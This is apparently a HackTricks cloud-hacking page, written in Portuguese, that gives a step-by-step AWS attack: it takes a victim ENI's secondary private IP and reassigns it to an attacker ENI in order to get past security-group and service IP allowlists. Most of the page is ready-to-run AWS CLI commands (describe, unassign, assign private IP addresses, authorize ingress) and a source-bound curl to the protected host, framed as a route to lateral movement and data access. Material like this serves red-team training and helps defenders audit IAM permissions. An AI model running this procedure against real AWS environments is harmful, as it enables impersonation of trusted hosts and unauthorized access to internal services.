AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)

Reading time: 4 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Abuse ec2:UnassignPrivateIpAddresses e ec2:AssignPrivateIpAddresses para roubar o endereço IP privado secundário de um ENI vítima e movê-lo para um ENI do atacante no mesmo subnet/AZ. Muitos serviços internos e security groups controlam o acesso por endereços IP privados específicos. Ao mover esse endereço secundário, o atacante se faz passar pelo host confiável em L3 e pode alcançar serviços allowlisted.

Pré-requisitos:

  • Permissões: ec2:DescribeNetworkInterfaces, ec2:UnassignPrivateIpAddresses no ARN do ENI da vítima, e ec2:AssignPrivateIpAddresses no ARN do ENI do atacante.
  • Ambos os ENIs devem estar no mesmo subnet/AZ. O endereço alvo deve ser um endereço IP secundário (o primário não pode ser desatribuído).

Variáveis:

  • REGION=us-east-1
  • VICTIM_ENI=
  • ATTACKER_ENI=
  • PROTECTED_SG= # SG em um serviço alvo que permite apenas $HIJACK_IP
  • PROTECTED_HOST=

Passos:

  1. Escolha um endereço IP secundário do ENI da vítima
bash
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
export HIJACK_IP=$(cat HIJACK_IP)
  1. Garanta que o host protegido permita apenas esse IP (idempotente). Se estiver usando regras SG-to-SG, pule.
bash
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80   --cidr "$HIJACK_IP/32" --region $REGION || true
  1. Baseline: a partir da attacker instance, a requisição para PROTECTED_HOST deve falhar sem spoofed source (por exemplo, via SSM/SSH)
bash
curl -sS --max-time 3 http://$PROTECTED_HOST || true
  1. Desassociar o IP secundário do ENI da vítima
bash
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
  1. Atribua o mesmo IP à ENI do atacante (no AWS CLI v1 adicione --allow-reassignment)
bash
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
  1. Verificar se a propriedade foi transferida
bash
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
  1. A partir da attacker instance, faça source-bind para o hijacked IP para alcançar o host protegido (garanta que o IP esteja configurado no SO; se não estiver, adicione-o com ip addr add $HIJACK_IP/<mask> dev eth0)
bash
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out

Impacto

  • Bypass IP allowlists e impersonate hosts confiáveis dentro da VPC movendo secondary private IPs entre ENIs na mesma subnet/AZ.
  • Alcançar serviços internos que controlam o acesso por source IPs específicos, permitindo lateral movement e acesso a dados.

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks